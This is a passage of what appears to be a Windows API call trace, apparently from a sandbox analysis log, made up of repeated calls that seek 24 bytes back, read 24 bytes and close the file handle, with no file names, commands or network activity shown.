hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.227] CloseHandle (hObject=0x274) returned 1 [0097.227] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.227] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.228] CloseHandle (hObject=0x274) returned 1 [0097.228] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.228] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.229] CloseHandle (hObject=0x274) returned 1 [0097.229] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.229] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.230] CloseHandle (hObject=0x274) returned 1 [0097.230] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.230] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.231] CloseHandle (hObject=0x274) returned 1 [0097.232] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.232] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.232] CloseHandle (hObject=0x274) returned 1 [0097.233] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.233] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.233] CloseHandle (hObject=0x274) returned 1 [0097.233] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.234] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.234] CloseHandle (hObject=0x274) returned 1 [0097.234] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.235] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.235] CloseHandle (hObject=0x274) returned 1 [0097.235] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.236] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.236] CloseHandle (hObject=0x274) returned 1 [0097.236] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.237] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.237] CloseHandle (hObject=0x274) returned 1 [0097.238] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.238] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.238] CloseHandle (hObject=0x274) returned 1 [0097.238] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.239] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.240] CloseHandle (hObject=0x274) returned 1 [0097.240] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.240] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.240] CloseHandle (hObject=0x274) returned 1 [0097.241] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.241] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.241] CloseHandle (hObject=0x274) returned 1 [0097.242] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.242] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.242] CloseHandle (hObject=0x274) returned 1 [0097.243] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.243] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.243] CloseHandle (hObject=0x274) returned 1 [0097.244] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.244] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.244] CloseHandle (hObject=0x274) returned 1 [0097.245] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.245] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.245] CloseHandle (hObject=0x274) returned 1 [0097.245] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.246] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.246] CloseHandle (hObject=0x274) returned 1 [0097.246] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.246] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.247] CloseHandle (hObject=0x274) returned 1 [0097.248] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.248] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.248] CloseHandle (hObject=0x274) returned 1 [0097.249] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.249] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.249] CloseHandle (hObject=0x274) returned 1 [0097.250] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.250] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.250] CloseHandle (hObject=0x274) returned 1 [0097.251] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.251] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.252] CloseHandle (hObject=0x274) returned 1 [0097.252] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.252] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.253] CloseHandle (hObject=0x274) returned 1 [0097.253] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.253] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.254] CloseHandle (hObject=0x274) returned 1 [0097.254] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.254] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.255] CloseHandle (hObject=0x274) returned 1 [0097.255] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.255] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.256] CloseHandle (hObject=0x274) returned 1 [0097.256] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.256] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.257] CloseHandle (hObject=0x274) returned 1 [0097.257] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.257] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.258] CloseHandle (hObject=0x274) returned 1 [0097.258] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.258] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.259] CloseHandle (hObject=0x274) returned 1 [0097.259] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.259] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.260] CloseHandle (hObject=0x274) returned 1 [0097.260] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.260] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.261] CloseHandle (hObject=0x274) returned 1 [0097.261] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.261] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.262] CloseHandle (hObject=0x274) returned 1 [0097.262] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.262] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.263] CloseHandle (hObject=0x274) returned 1 [0097.263] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.263] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0097.264] CloseHandle (hObject=0x28c) returned 1 [0097.268] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.268] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.269] CloseHandle (hObject=0x268) returned 1 [0097.269] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.269] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.270] CloseHandle (hObject=0x268) returned 1 [0097.270] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.270] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.271] CloseHandle (hObject=0x268) returned 1 [0097.271] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.271] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.272] CloseHandle (hObject=0x268) returned 1 [0097.272] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.272] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.272] CloseHandle (hObject=0x268) returned 1 [0097.274] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.275] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.275] CloseHandle (hObject=0x274) returned 1 [0097.275] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.276] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.276] CloseHandle (hObject=0x274) returned 1 [0097.276] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.277] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.277] CloseHandle (hObject=0x274) returned 1 [0097.277] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.277] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.278] CloseHandle (hObject=0x274) returned 1 [0097.279] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.279] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.279] CloseHandle (hObject=0x274) returned 1 [0097.280] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.280] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.280] CloseHandle (hObject=0x274) returned 1 [0097.281] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.281] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.281] CloseHandle (hObject=0x274) returned 1 [0097.282] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.282] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.283] CloseHandle (hObject=0x274) returned 1 [0097.283] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.283] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.284] CloseHandle (hObject=0x274) returned 1 [0097.284] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.284] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.285] CloseHandle (hObject=0x274) returned 1 [0097.285] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.285] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.286] CloseHandle (hObject=0x274) returned 1 [0097.286] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.286] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.287] CloseHandle (hObject=0x274) returned 1 [0097.287] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.287] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.288] CloseHandle (hObject=0x274) returned 1 [0097.288] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.288] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.289] CloseHandle (hObject=0x274) returned 1 [0097.289] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, 